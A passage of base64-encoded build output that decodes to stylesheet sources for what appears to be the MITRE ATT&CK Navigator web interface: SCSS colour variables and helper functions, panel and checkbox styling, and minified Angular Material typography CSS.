cmdpbi1ib3R0b206IDRweDtcbn1cblxuLmxheW91dCB7XG4gIHdpZHRoOiAxMDBweDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cbi5sYXlvdXQgc2VsZWN0IHtcbiAgd2lkdGg6IDEwMCU7XG59XG4ubGF5b3V0IC5zZWN0aW9uIHtcbiAgcGFkZGluZzogMTBweDtcbn1cbi5sYXlvdXQgLnNlY3Rpb24gKyAuc2VjdGlvbiB7XG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZjFmMWYxO1xufSIsIiRjb2x1bW4taG92ZXItY29sb3I6IHJnYigyMzUsIDIzNSwgMjM1KTtcbiRkaXNhYmxlZC1jb2xvcjogZGFya2VuKCRjb2x1bW4taG92ZXItY29sb3IsIDIwJSk7XG4kY2VsbC1oaWdobGlnaHQtY29sb3I6IHJnYig5NiwgMTk3LCAyNTUpO1xuJGhvdmVyLWNlbGwtZm9udC1jb2xvcjogcmdiKDAsIDAsIDApO1xuJHBhbmVsLWRhcms6ICNkZGQ7XG4kcGFuZWwtbGlnaHQ6IGxpZ2h0ZW4oJHBhbmVsLWRhcmssIDglKTtcbiR0YWItdGV4dC1jb2xvcjogIzU1NTtcbiRidXR0b24tZGFyazogI2I4YjhiODtcblxuLy8gQVRUJkNLIEJyYW5kIGNvbG9yc1xuJGF0dGFjay1jb2xvcnM6IChcbiAgICBhdHRhY2stb3JhbmdlOiAjYzYzZjFmLFxuICAgIGF0dGFjay1ibHVlOiAjMDYyZjRmXG4pO1xuXG4vKipcbiAqIENvbG9ycyB1c2VkIGFjcm9zcyB0aGUgTmF2aWdhdG9yLiBTaGFyZWQgYnkgdGhlIEFUVCZDSyBXZWJzaXRlLlxuICogRm9yIGVhY2ggY29sb3ItcGFpcjpcbiAqICAgLSBcImNvbG9yXCIgcmVmZXJzIHRvIHRoZSBjb2xvciBpdHNlbGZcbiAqICAgLSBcIm9uLWNvbG9yXCIgcmVmZXJzIHRvIHRoZSBtb3N0IHJlYWRhYmxlIHRleHQtY29sb3IgdG8gYXBwZWFyIG9uIHRvcCBvZiB0aGUgY29sb3IuIFxuICogTm90ZTogc29tZSBjb2xvcnMgZG9uJ3QgZGVmaW5lIG9uLWNvbG9ycy4gVGhpcyBpcyBiZWNhdXNlLCBmb3IgdGhlc2UgY29sb3JzLCB0aGV5IGFyZW4ndCBpbnRlbmRlZCB0b1xuICogYXBwZWFyIHdpdGggaW5uZXIgY29udGVudC4gRm9yIGV4YW1wbGUsIFwibGlua1wiIGlzIG9ubHkgaW50ZW5kZWQgdG8gYmUgdXNlZCBmb3IgbGluayB0ZXh0LCB3aGljaCBpbmhlcmVudGx5XG4gKiBjYW5ub3QgaGF2ZSBpbm5lciB0ZXh0LlxuICovXG4kY29sb3JzOiAoXG4gICAgcHJpbWFyeTogKGNvbG9yOiBtYXAtZ2V0KCRhdHRhY2stY29sb3JzLCBhdHRhY2stb3JhbmdlKSwgb24tY29sb3I6IHdoaXRlKSwgIC8vdXNlZCBmb3IgaGVhZGVyIGFuZCBzb21lIG5hdiBlbGVtZW50c1xuICAgIHNlY29uZGFyeTogKGNvbG9yOiBtYXAtZ2V0KCRhdHRhY2stY29sb3JzLCBhdHRhY2stYmx1ZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGZvb3RlciBhbmQgc29tZSBidXR0b25zXG4gICAgYm9keTogKGNvbG9yOiB3aGl0ZSwgb24tY29sb3I6ICMzOTQzNEMpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL3ByaW1hcnkgcGFnZSBib2R5XG4vLyAgYm9keTogKGNvbG9yOiByZ2IoNTAsIDUwLCA1MCksIG9uLWNvbG9yOiAjY2RjZGNkKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9leGFtcGxlIG9mIGEgZGFyayB0aGVtZSBmb3IgdGhlIHNpdGVcbiAgICBsaW5rOiAoY29sb3I6ICM0ZjdjYWMpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9oeXBlcmxpbmtzXG4gICAgbWF0cml4LWhlYWRlcjogKGNvbG9yOiBncmF5LCBvbi1jb2xvcjogd2hpdGUpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2NvbG9yIG9mIG1hdHJpeCBoZWFkZXJzXG5cbiAgICAvL2Jvb3RzdHJhcCBjb2xvcnNcbiAgICBib290c3RyYXAtcHJpbWFyeTogKGNvbG9yOiAjNDI4YmNhLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1zdWNjZXNzOiAoY29sb3I6ICM1Y2I4NWMsIG9uLWNvbG9yOiB3aGl0ZSksXG4gICAgYm9vdHN0cmFwLWRhbmdlcjogKGNvbG9yOiAjZDk1MzRmLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC13YXJuaW5nOiAoY29sb3I6ICNmMGFkNGUsIG9uLWNvbG9yOiBibGFjayksXG4gICAgYm9vdHN0cmFwLWluZm86IChjb2xvcjogIzViYzBkZSwgb24tY29sb3I6IHdoaXRlKSxcblxuICAgIC8vVE9ETyBkZXByZWNhdGUgd2l0aCBzZWFyY2ggcGFnZSBjaGFuZ2VzXG4gICAgc2VhcmNoLXJlc3VsdHMtYm9yZGVyOiAoY29sb3I6IGJsYWNrLCBvbi1jb2xvcjogbGlnaHRncmV5KSwgIFxuKTtcblxuLy8gYWNjZXNzb3IgaGVscGVyIGZvciAkY29sb3JzLiBHZXRzIHRoZSBjb2xvciBvZiB0aGUgbmFtZWQgcGFpclxuQGZ1bmN0aW9uIGNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtYXAtZ2V0KG1hcC1nZXQoJGNvbG9ycywgJG5hbWUpLCBcImNvbG9yXCIpO1xufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGdldCBhbiBhbHRlcm5hdGUgdmVyc2lvbiBvZiB0aGUgY29sb3IsIGZvciBwYXR0ZXJuaW5nXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBkYXJrLCB0aGUgYWx0ZXJuYXRlIHdpbGwgYmUgc2xpZ2h0bHkgbGlnaHRlci5cbi8vIGlmIHRoZSBiYXNlIGNvbG9yIGlzIGxpZ2h0LCB0aGUgYWx0ZXJuYXRlIHdpbGwgYmUgc2xpZ2h0bHkgZGFya2VyLlxuLy8gY29udHJhc3QsIGFuIG9wdGlvbmFsIGFyZ3VtZW50LCBtdWx0aXBsaWVzIHRvIGNyZWF0ZSBhIG1vcmUgZGlzdGludCBvciBzaW1pbGFyIGNvbG9yLiA+MSBpcyBtb3JlIGRpc3RhbnQsIDwxIGlzIG1vcmUgc2ltaWxhci5cbkBmdW5jdGlvbiBjb2xvci1hbHRlcm5hdGUoJG5hbWUsICRjb250cmFzdDogMSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksICR3ZWlnaHQ6ICRjb250cmFzdCAqIDUlKTsgXG59XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgb24tY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBvbi1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJvbi1jb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvci1uYW1lLCBnZXQgYW4gZW1waGFzaXplZCB2ZXJzaW9uIG9mIHRoZSBvbi1jb2xvci5cbi8vIFRoZSBlbXBoYXNpemVkIG9uLWNvbG9yIGlzIGxlc3MgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1lbXBoYXNpcygkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBvbi1jb2xvcigkbmFtZSkpOyBcbn1cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGRlZW1waGFzaXplZCB2ZXJzaW9uIG9mIHRoZSBvbi1jb2xvci5cbi8vIFRoZSBkZWVtcGhhc2l6ZWQgb24tY29sb3IgaXMgbW9yZSBsaWtlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yLlxuQGZ1bmN0aW9uIG9uLWNvbG9yLWRlZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChjb2xvcigkbmFtZSksIG9uLWNvbG9yKCRuYW1lKSwgMjUlKTsgXG59XG5cbi8vIGdpdmVuIGEgY29sb3IgbmFtZSwgY29tcHV0ZSBhIGJvcmRlciBjb2xvciBmb3IgdGhlIGNvbG9yXG5AZnVuY3Rpb24gYm9yZGVyLWNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIGNvbG9yKCRuYW1lKSwgMTIuNSUpOyBcbiAgICAvLyBAcmV0dXJuIHJnYmEoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIDAuMTI1KTtcbn1cbiIsIi8qIFlvdSBjYW4gYWRkIGdsb2JhbCBzdHlsZXMgdG8gdGhpcyBmaWxlLCBhbmQgYWxzbyBpbXBvcnQgb3RoZXIgc3R5bGUgZmlsZXMgKi9cbkBpbXBvcnQgXCJ+QGFuZ3VsYXIvbWF0ZXJpYWwvcHJlYnVpbHQtdGhlbWVzL2luZGlnby1waW5rLmNzc1wiO1xuQGltcG9ydCBcImNvbG9ycy5zY3NzXCI7XG5ib2R5IHtcbiAgcGFkZGluZzogMCAxNXB4IDE1cHggMTVweDtcbiAgbWFyZ2luLXRvcDogMDtcbiAgZm9udC1mYW1pbHk6IC1hcHBsZS1zeXN0ZW0sIEJsaW5rTWFjU3lzdGVtRm9udCwgJ1NlZ29lIFVJJywgUm9ib3RvLCBPeHlnZW4sIFVidW50dSwgQ2FudGFyZWxsLCAnT3BlbiBTYW5zJywgJ0hlbHZldGljYSBOZXVlJywgc2Fucy1zZXJpZjtcbn1cblxuLm5vc2VsZWN0IHtcbiAgLXdlYmtpdC10b3VjaC1jYWxsb3V0OiBub25lOyAvKiBpT1MgU2FmYXJpICovXG4gICAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTsgLyogU2FmYXJpICovXG4gICAgIC1raHRtbC11c2VyLXNlbGVjdDogbm9uZTsgLyogS29ucXVlcm9yIEhUTUwgKi9cbiAgICAgICAtbW96LXVzZXItc2VsZWN0OiBub25lOyAvKiBGaXJlZm94ICovXG4gICAgICAgIC1tcy11c2VyLXNlbGVjdDogbm9uZTsgLyogSW50ZXJuZXQgRXhwbG9yZXIvRWRnZSAqL1xuICAgICAgICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7IC8qIE5vbi1wcmVmaXhlZCB2ZXJzaW9uLCBjdXJyZW50bHlcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdXBwb3J0ZWQgYnkgQ2hyb21lIGFuZCBPcGVyYSAqL1xufVxuXG5cbi8vICAgX19fIF9fXyAgXyAgXyBfX19fXyBfX18gIF9fXyAgXyAgICBfX19cbi8vICAvIF9fLyBfIFxcfCBcXHwgfF8gICBffCBfIFxcLyBfIFxcfCB8ICAvIF9ffFxuLy8gfCAoX3wgKF8pIHwgLmAgfCB8IHwgfCAgIC8gKF8pIHwgfF9fXFxfXyBcXFxuLy8gIFxcX19fXFxfX18vfF98XFxffCB8X3wgfF98X1xcXFxfX18vfF9fX198X19fL1xuXG4vLyAkaW5wdXRGb250U2l6ZTogMTBwdDtcbi8vIHBhbmVsIHdpdGggY29udHJvbHNcbi5jb250cm9sc0NvbnRhaW5lciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogJHBhbmVsLWRhcms7XG4gICAgLy8gd2lkdGg6IDEwMCU7XG4gICAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gICAgLy8gcGFkZGluZzogMCAzcHg7XG4gICAgLy8gZGlzcGxheTogZmxleDtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICB1bCB7IG1hcmdpbjogMDsgfVxuICAgIC8vIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAvLyBmb250OiA0MDAgMTJweCBzeXN0ZW0tdWk7XG5cbiAgICAuY29udHJvbC1zZWN0aW9ucz5saSB7XG4gICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgLy8gJjpub3QoOmxhc3QtY2hpbGQpe1xuICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkIGRhcmtlbigkcGFuZWwtZGFyaywgOCUpO1xuICAgICAgICBwYWRkaW5nOiAwIDVweCAwIDVweDtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuXG4gICAgICAgIC8vIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgLy8gbGFiZWwgZm9yIGEgc2VjdGlvbiBvZiBjb250cm9scywgZS5nIGxheWVyIGNvbnRyb2xzIG9yIHRlY2huaXF1ZSBjb250cm9sc1xuICAgICAgICAuc2VjdGlvbi1sYWJlbCB7XG4gICAgICAgICAgICBmb250LXNpemU6IDhwdDtcbiAgICAgICAgICAgIC8vIGhlaWdodDogOHB4O1xuICAgICAgICAgICAgdG9wOiAtMTNweDtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgIC8vIGJvcmRlcjogMXB4IDFweCAwIDFweCBzb2xpZCBibGFjaztcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogd2hpdGU7XG4gICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAxcHggMXB4IDAgMXB4O1xuICAgICAgICAgICAgLy8gd2lkdGg6NTAlO1xuICAgICAgICAgICAgLy8gbGVmdDogMjUlO1xuICAgICAgICAgICAgcGFkZGluZzogMCA1cHg7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAkcGFuZWwtZGFyaztcbiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweCAycHggMCAwO1xuICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgY29sb3I6ICR0YWItdGV4dC1jb2xvcjtcbiAgICAgICAgICAgIGN1cnNvcjogZGVmYXVsdDtcbiAgICAgICAgICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgICAgICAgIC8vIGJvdHRvbTogMTBweDtcbiAgICAgICAgfVxuXG4gICAgICAgIC5jb250cm9sLXJvdy1pdGVtIHtcblxuICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgaGVpZ2h0OiAzNHB4O1xuXG4gICAgICAgICAgICAuY29udHJvbC1yb3ctYnV0dG9uIHtcbiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNXB4O1xuICAgICAgICAgICAgICAgIGhlaWdodDogMjRweDtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgJjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IGRhcmtlbigkcGFuZWwtZGFyaywgNSUpOyB9XG4gICAgICAgICAgICAgICAgJi5kcm9wZG93bjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDVwdDtcbiAgICAgICAgICAgICAgICAgICAgY29udGVudDogXCLilrxcIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cblxuICAgICAgICAgICAgLy8gZHJvcGRvd24gY29udHJvbHMgY29udGFpbmVyXG4gICAgICAgICAgICAuZHJvcGRvd24tY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICAmLmxlZnQgeyByaWdodDogMCB9XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMTBweCAxMHB4IDVweCByZ2JhKDAsIDAsIDAsIDAuNSk7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDEwMDsgLy9kcmF3IG9uIHRvcCBvZiBvdGhlciBjb250cm9sc1xuICAgICAgICAgICAgICAgIHdpZHRoOiBtYXgtY29udGVudDtcblxuICAgICAgICAgICAgICAgICYuaW5wdXRmaWVsZCB7XG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAgMTUwcHg7XG4gICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDBweCAxMHB4O1xuICAgICAgICAgICAgICAgICAgICBtYXQtZm9ybS1maWVsZCB7XG4gICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICAgICAgICAgICY6Zmlyc3QtY2hpbGQge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmctdG9wOjVweDtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICB9XG4gICAgfVxufVxuXG4vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBDaGVja2JveCBTdHlsaW5nIC8vXG4vLy8vLy8vLy8vLy8vLy8vLy8vLy8vXG5cbi5jaGVja2JveC1jdXN0b20ge1xuICAgIG9wYWNpdHk6IDA7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICY6ZGlzYWJsZWQge1xuICAgICAgICBjdXJzb3I6IGRlZmF1bHQ7XG4gICAgfVxufVxuXG4uY2hlY2tib3gtY3VzdG9tLCAuY2hlY2tib3gtY3VzdG9tLWxhYmVsIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICBtYXJnaW46IDVweDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5jaGVja2JveC1jdXN0b20tbGFiZWwge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAmLmRpc2FibGVkIHtcbiAgICAgICAgY29sb3I6IHJnYmEoMCwwLDAsMC40Nik7XG4gICAgICAgIGN1cnNvcjogZGVmYXVsdDtcbiAgICB9XG59XG5cbi5jaGVja2JveC1jdXN0b20gKyAuY2hlY2tib3gtY3VzdG9tLWxhYmVsOmJlZm9yZSB7XG4gICAgY29udGVudDogJyc7XG4gICAgYmFja2dyb3VuZDogI2ZmZjtcbiAgICBib3JkZXI6IDNweCBzb2xpZCAkcGFuZWwtZGFyaztcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICB3aWR0aDogMTBweDtcbiAgICBoZWlnaHQ6IDEwcHg7XG4gICAgcGFkZGluZzogMnB4O1xuICAgIG1hcmdpbi1yaWdodDogNXB4O1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbn1cblxuLmNoZWNrYm94LWN1c3RvbTpjaGVja2VkICsgLmNoZWNrYm94LWN1c3RvbS1sYWJlbDpiZWZvcmUge1xuICAgIGJhY2tncm91bmQ6ICRjZWxsLWhpZ2hsaWdodC1jb2xvcjtcbiAgICBib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDBweCAxcHggJGNlbGwtaGlnaGxpZ2h0LWNvbG9yO1xufVxuLmNoZWNrYm94LWN1c3RvbTpjaGVja2VkOmRpc2FibGVkICsgLmNoZWNrYm94LWN1c3RvbS1sYWJlbDpiZWZvcmUge1xuICAgIGJhY2tncm91bmQ6IGRlc2F0dXJhdGUoJGNlbGwtaGlnaGxpZ2h0LWNvbG9yLCAxMDAlKTtcbiAgICBib3gtc2hhZG93OiBpbnNldCAwcHggMHB4IDBweCAxcHggZGVzYXR1cmF0ZSgkY2VsbC1oaWdobGlnaHQtY29sb3IsIDEwMCUpO1xuXG59XG4iLCIubWF0LWJhZGdlLWNvbnRlbnR7Zm9udC13ZWlnaHQ6NjAwO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWJhZGdlLXNtYWxsIC5tYXQtYmFkZ2UtY29udGVudHtmb250LXNpemU6OXB4fS5tYXQtYmFkZ2UtbGFyZ2UgLm1hdC1iYWRnZS1jb250ZW50e2ZvbnQtc2l6ZToyNHB4fS5tYXQtaDEsLm1hdC1oZWFkbGluZSwubWF0LXR5cG9ncmFwaHkgaDF7Zm9udDo0MDAgMjRweC8zMnB4IFJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjttYXJnaW46MCAwIDE2cHh9Lm1hdC1oMiwubWF0LXRpdGxlLC5tYXQtdHlwb2dyYXBoeSBoMntmb250OjUwMCAyMHB4LzMycHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTZweH0ubWF0LWgzLC5tYXQtc3ViaGVhZGluZy0yLC5tYXQtdHlwb2dyYXBoeSBoM3tmb250OjQwMCAxNnB4LzI4cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTZweH0ubWF0LWg0LC5tYXQtc3ViaGVhZGluZy0xLC5tYXQtdHlwb2dyYXBoeSBoNHtmb250OjQwMCAxNXB4LzI0cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTZweH0ubWF0LWg1LC5tYXQtdHlwb2dyYXBoeSBoNXtmb250OjQwMCBjYWxjKDE0cHggKiAuODMpLzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTJweH0ubWF0LWg2LC5tYXQtdHlwb2dyYXBoeSBoNntmb250OjQwMCBjYWxjKDE0cHggKiAuNjcpLzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO21hcmdpbjowIDAgMTJweH0ubWF0LWJvZHktMiwubWF0LWJvZHktc3Ryb25ne2ZvbnQ6NTAwIDE0cHgvMjRweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1ib2R5LC5tYXQtYm9keS0xLC5tYXQtdHlwb2dyYXBoeXtmb250OjQwMCAxNHB4LzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtYm9keSBwLC5tYXQtYm9keS0xIHAsLm1hdC10eXBvZ3JhcGh5IHB7bWFyZ2luOjAgMCAxMnB4fS5tYXQtY2FwdGlvbiwubWF0LXNtYWxse2ZvbnQ6NDAwIDEycHgvMjBweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1kaXNwbGF5LTQsLm1hdC10eXBvZ3JhcGh5IC5tYXQtZGlzcGxheS00e2ZvbnQ6MzAwIDExMnB4LzExMnB4IFJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtsZXR0ZXItc3BhY2luZzotLjA1ZW07bWFyZ2luOjAgMCA1NnB4fS5tYXQtZGlzcGxheS0zLC5tYXQtdHlwb2dyYXBoeSAubWF0LWRpc3BsYXktM3tmb250OjQwMCA1NnB4LzU2cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2xldHRlci1zcGFjaW5nOi0uMDJlbTttYXJnaW46MCAwIDY0cHh9Lm1hdC1kaXNwbGF5LTIsLm1hdC10eXBvZ3JhcGh5IC5tYXQtZGlzcGxheS0ye2ZvbnQ6NDAwIDQ1cHgvNDhweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7bGV0dGVyLXNwYWNpbmc6LS4wMDVlbTttYXJnaW46MCAwIDY0cHh9Lm1hdC1kaXNwbGF5LTEsLm1hdC10eXBvZ3JhcGh5IC5tYXQtZGlzcGxheS0xe2ZvbnQ6NDAwIDM0cHgvNDBweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7bWFyZ2luOjAgMCA2NHB4fS5tYXQtYm90dG9tLXNoZWV0LWNvbnRhaW5lcntmb250OjQwMCAxNHB4LzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtYnV0dG9uLC5tYXQtZmFiLC5tYXQtZmxhdC1idXR0b24sLm1hdC1pY29uLWJ1dHRvbiwubWF0LW1pbmktZmFiLC5tYXQtcmFpc2VkLWJ1dHRvbiwubWF0LXN0cm9rZWQtYnV0dG9ue2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo1MDB9Lm1hdC1idXR0b24tdG9nZ2xle2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWNhcmR7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtY2FyZC10aXRsZXtmb250LXNpemU6MjRweDtmb250LXdlaWdodDo1MDB9Lm1hdC1jYXJkLWhlYWRlciAubWF0LWNhcmQtdGl0bGV7Zm9udC1zaXplOjIwcHh9Lm1hdC1jYXJkLWNvbnRlbnQsLm1hdC1jYXJkLXN1YnRpdGxle2ZvbnQtc2l6ZToxNHB4fS5tYXQtY2hlY2tib3h7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtY2hlY2tib3gtbGF5b3V0IC5tYXQtY2hlY2tib3gtbGFiZWx7bGluZS1oZWlnaHQ6MjRweH0ubWF0LWNoaXB7Zm9udC1zaXplOjE0cHg7Zm9udC13ZWlnaHQ6NTAwfS5tYXQtY2hpcCAubWF0LWNoaXAtcmVtb3ZlLm1hdC1pY29uLC5tYXQtY2hpcCAubWF0LWNoaXAtdHJhaWxpbmctaWNvbi5tYXQtaWNvbntmb250LXNpemU6MThweH0ubWF0LXRhYmxle2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWhlYWRlci1jZWxse2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LWNlbGwsLm1hdC1mb290ZXItY2VsbHtmb250LXNpemU6MTRweH0ubWF0LWNhbGVuZGFye2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LWNhbGVuZGFyLWJvZHl7Zm9udC1zaXplOjEzcHh9Lm1hdC1jYWxlbmRhci1ib2R5LWxhYmVsLC5tYXQtY2FsZW5kYXItcGVyaW9kLWJ1dHRvbntmb250LXNpemU6MTRweDtmb250LXdlaWdodDo1MDB9Lm1hdC1jYWxlbmRhci10YWJsZS1oZWFkZXIgdGh7Zm9udC1zaXplOjExcHg7Zm9udC13ZWlnaHQ6NDAwfS5tYXQtZGlhbG9nLXRpdGxle2ZvbnQ6NTAwIDIwcHgvMzJweCBSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVye2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtmb250LXNpemU6MTVweDtmb250LXdlaWdodDo0MDB9Lm1hdC1leHBhbnNpb24tcGFuZWwtY29udGVudHtmb250OjQwMCAxNHB4LzIwcHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtZm9ybS1maWVsZHtmb250LXNpemU6aW5oZXJpdDtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS4xMjU7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtZm9ybS1maWVsZC13cmFwcGVye3BhZGRpbmctYm90dG9tOjEuMzQzNzVlbX0ubWF0LWZvcm0tZmllbGQtcHJlZml4IC5tYXQtaWNvbiwubWF0LWZvcm0tZmllbGQtc3VmZml4IC5tYXQtaWNvbntmb250LXNpemU6MTUwJTtsaW5lLWhlaWdodDoxLjEyNX0ubWF0LWZvcm0tZmllbGQtcHJlZml4IC5tYXQtaWNvbi1idXR0b24sLm1hdC1mb3JtLWZpZWxkLXN1ZmZpeCAubWF0LWljb24tYnV0dG9ue2hlaWdodDoxLjVlbTt3aWR0aDoxLjVlbX0ubWF0LWZvc